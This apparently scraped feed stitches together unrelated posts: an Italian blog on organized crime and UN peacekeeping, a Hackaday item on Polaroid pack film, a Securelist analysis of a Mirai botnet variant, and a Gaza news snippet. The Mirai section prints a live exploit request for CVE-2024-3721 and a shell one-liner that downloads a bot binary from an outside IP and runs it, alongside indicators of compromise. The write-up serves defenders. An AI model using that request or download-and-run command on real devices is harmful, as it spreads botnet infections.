Nel nostro blog in più circostanze abbiamo evidenziato l’importanza di inserire Forze di Polizia nell’ambito delle Operazioni di mantenimento della Pace (Peacekeeping).

Peacekeeping in retreat: Rethinking how to deal with organized crime in conflict settings è il titolo di un recente interessante articolo di Walter Kemp, che è Director of Communications del “Global Initiative Against Transnational Organized Crime” segnala come le operazioni di peacekeeping delle Nazioni Unite siano in crisi: non vengono lanciate nuove missioni dal 2014, molte sono state ridotte o chiuse, e i finanziamenti sono in calo. Ed, in questo contesto, la criminalità organizzata – una delle principali minacce alla pace – è quasi del tutto assente dall’agenda delle Nazioni Unite.
Secondo l’autore le missioni di pace non affrontano adeguatamente la criminalità organizzata, che alimenta i conflitti e mina la resilienza degli Stati.
L’assenza di interventi può portare a governance criminali o a guerre per il controllo delle economie illecite.

Kemp indica la necessità di nuovi modelli di missioni, ove includere componenti specializzate nel contrasto alla criminalità organizzata, individuandole in quelle che egli chiama “Squadre anticrimine”, idonee a raccogliere informazioni, fornire supporto tecnico e, se autorizzate, eseguire arresti.
Inoltre il personale delle missioni (o meglio parte di esso) dovrebbe avere una formazione mirata, per preparare le forze di pace a riconoscere e affrontare le economie illecite.

A tale proposito l’autore ipotizza collaborazioni più ampie: coinvolgere agenzie come INTERPOL, forze specializzate (es. Guardia di Finanza), società civile e comunità locali, anche per effettuare una migliore mappatura dei mercati criminali per progettare strategie di stabilizzazione efficaci.
Kemp conclude sottolineando come la criminalità organizzata sia un fattore chiave nei conflitti moderni. Ignorarla compromette la pace e la sicurezza. Le Nazioni Unite devono adattare le loro strategie, anche in assenza di missioni di peacekeeping, per affrontare questa minaccia in modo efficace.
Quanto suggerito da Kemp richiama una struttura dell’Arma dei carabinieri costituita ad hoc in alcune missioni di pace internazionali “a marchio” NATO. Ci riferiamo alle Multinational Specialized Unit (MSU) di cui abbiamo parlato qui noblogo.org/cooperazione-inter…

L’articolo (in inglese) è reperibile a questa pagina globalinitiative.net/analysis/…

#peacekeeping #criminaltàorganizzata #Nazioniunite #ONU #Armadeicarabinieri #GuardiadiFinanza

@Notizie dall'Italia e dal mondo

We recently published an affectionate look at a Polaroid Land camera, whose peel-apart instant film is long out of production except for a very few single exposure packs form a boutique manufacturer. All that was left was a discussion of modifying it for conventional roll film, or perhaps hacking a modern back-to-front Polaroid sheet into it.

Never say never though, because along come the Chinese company Light Lens Lab with a short announcement at the end of a post talking about grain structures and anti-halation layer materials for their black and white film.

Lastly, with our future development plan, we are currently developing and researching instant peel-apart film, with plans on producing and making available black and white peel-apart film by 2025 in various format. We aim to have an update on our packaging and test shot for the next development/research progress installment. We are also researching, developing and producing colour reversal films that consist of a dye-incorporating development process, commonly known as K-14, for 135 and 120 formats in 2026.

So there you go, no sooner has Hackaday declared a format unavailable, than it shows every sign of reappearing. At this point we’d like to take the opportunity to report that McDonalds Szechuan Chicken McNugget sauce will never ever be available again.

So what does this mean? First of all, assuming that the stuff doesn’t need the GDP of a small country to buy in Europe, the Hackaday Polaroid 104 will be able to shoot in its native format again. But perhaps more interestingly, it opens up a new option for the camera hacker. Pack film is much easier than modern instant film to deal with; it requires only rollers and someone to tug on that paper tab, no gears or motors involved. We’re here for this.

The observant will also have noted at the end of the announcement, mention of a dye-incorporating development process. This refers to the colour chemistry seen in Kodachrome, a long-extinct single-layer film that offered legendarily sharp and vibrant-coloured pictures at the expense of a very complex development path. We’d love to see it, but we’ll take the instant pack film and run.

The Hackaday Land camera is here.

hackaday.com/2025/06/06/in-fil…

The abuse of known security flaws to deploy bots on vulnerable systems is a widely recognized problem. Many automated bots constantly search the web for known vulnerabilities in servers and devices connected to the internet, especially those running popular services. These bots often carry Remote Code Execution (RCE) exploits targeting HTTP services, allowing attackers to embed Linux commands within GET or POST requests.

We recently observed the use of CVE-2024-3721 in attempts to deploy a bot in one of our honeypot services. This bot variant turned out to be part of the infamous Mirai botnet, targeting DVR-based monitoring systems. DVR devices are designed to record data from cameras, widely used by many manufacturers and can be managed remotely. In this article, we describe the new Mirai bot features and its revamped infection vector.

Exploitation

During a review of the logs in our Linux honeypot system, we noticed an unusual request line linked to a CVE-2024-3721. This vulnerability allows for the execution of system commands on TBK DVR devices without proper authorization as an entry point, using a specific POST request:
"POST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=cd%20%2Ftmp%3Brm%20arm7%3B%20wget%20http%3A%2F%2F42.112.26.36%2Farm7%3B%20chmod%20777%20%2A%3B%20.%2Farm7%20tbk HTTP/1.1" 200 1671 "-" "Mozila/5.0"
The POST request contains a malicious command that is a single-line shell script which downloads and executes an ARM32 binary on the compromised machine.
cd /tmp; rm arm7; wget 42.112.26[.]36/arm7; chmod 777 *; ./arm7 tbk
Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. However, in this case, since the attack is specifically targeted at devices that only support ARM32 binaries, the reconnaissance stage is unnecessary.

Malware implant – Mirai variant

The source code of the Mirai botnet was published on the internet nearly a decade ago, and since then, it has been adapted and modified by various cybercriminal groups to create large-scale botnets mostly focused on DDoS and resource hijacking.

The DVR bot is also based on the Mirai source code but it includes different features as well, such as string encryption using RC4, anti-VM checks, and anti-emulation techniques. We’ve already covered Mirai in many posts, so we’ll focus on the new features of this specific variant.

Data decryption

The data decryption routine in this variant is implemented as a simple RC4 algorithm.

The RC4 key is encrypted with XOR. After the key decryption, we were able to obtain its value: 6e7976666525a97639777d2d7f303177.

The decrypted RC4 key is used to decrypt the strings. After each piece of data is decrypted, it is inserted into a vector of a custom DataDecrypted structure, which is a simple string list:

Data decryption routine

The global linked list with decrypted data is accessed whenever the malware needs particular strings.

Adding decrypted strings to the global list

Anti-VM and anti-emulation

To detect if it is currently running inside a virtual machine or QEMU, the malware lists all processes until it finds any mention of VMware or QEMU-arm. Listing running processes is simply a matter of opening the /proc directory, which is the proc filesystem on Linux.

Each process ID (PID) has its own folder containing useful information, such as cmdline, which describes the command used to start the process. Using this information, the malware verifies if there are any processes with VMware or QEMU-arm in their command line.

Process check

The implant also verifies if the bot process is running outside an expected directory, based on a hardcoded list of allowed ones:

Allowed directories

Once those checks are successfully completed, Mirai will continue normal execution, preparing the vulnerable device for receiving commands from the operator.

Infection statistics

According to our telemetry data, the majority of infected victims are located in countries such as China, India, Egypt, Ukraine, Russia, Turkey, and Brazil. It’s challenging to ascertain the exact number of vulnerable and infected devices globally. However, by analyzing public sources, we’ve identified over 50,000 exposed DVR devices online, indicating that attackers have numerous opportunities to target unpatched, vulnerable devices.

Conclusion

Exploiting known security flaws in IoT devices and servers that haven’t been patched, along with the widespread use of malware targeting Linux-based systems, leads to a significant number of bots constantly searching the internet for devices to infect.

The main goal of such bots is to carry out attacks that overwhelm websites and services (DDoS attacks). Most of these bots don’t stay active after the device restarts because some device firmware doesn’t allow changes to the file system. To protect against infections like these, we recommend updating vulnerable devices as soon as security patches become available. Another thing to consider is a factory reset if your device is indeed vulnerable and exposed.

All Kaspersky products detect the threat as HEUR:Backdoor.Linux.Mirai and HEUR:Backdoor.Linux.Gafgyt.

Indicators of compromise

Host-based (MD5 hashes)
011a406e89e603e93640b10325ebbdc8
24fd043f9175680d0c061b28a2801dfc
29b83f0aae7ed38d27ea37d26f3c9117
2e9920b21df472b4dd1e8db4863720bf
3120a5920f8ff70ec6c5a45d7bf2acc8
3c2f6175894bee698c61c6ce76ff9674
45a41ce9f4d8bb2592e8450a1de95dcc
524a57c8c595d9d4cd364612fe2f057c
74dee23eaa98e2e8a7fc355f06a11d97
761909a234ee4f1d856267abe30a3935
7eb3d72fa7d730d3dbca4df34fe26274
8a3e1176cb160fb42357fa3f46f0cbde
8d92e79b7940f0ac5b01bbb77737ca6c
95eaa3fa47a609ceefa24e8c7787bd99
96ee8cc2edc8227a640cef77d4a24e83
aaf34c27edfc3531cf1cf2f2e9a9c45b
ba32f4eef7de6bae9507a63bde1a43aa
IPs
116.203.104[.]203
130.61.64[.]122
161.97.219[.]84
130.61.69[.]123
185.84.81[.]194
54.36.111[.]116
192.3.165[.]37
162.243.19[.]47
63.231.92[.]27
80.152.203[.]134
42.112.26[.]36

securelist.com/mirai-botnet-va…

Satellite images show a new militia operating in southern Gaza in an area under IDF control, and a former Israeli defense minister claimed Israel is arming an ISIS-affiliated militia in Gaza to counter Hamas. In response, PM Netanyahu's office said the country is "working to defeat Hamas in various ways."

Se fosse vero sarebbe l'ennesima prova di quanto Israele sia sceso in basso.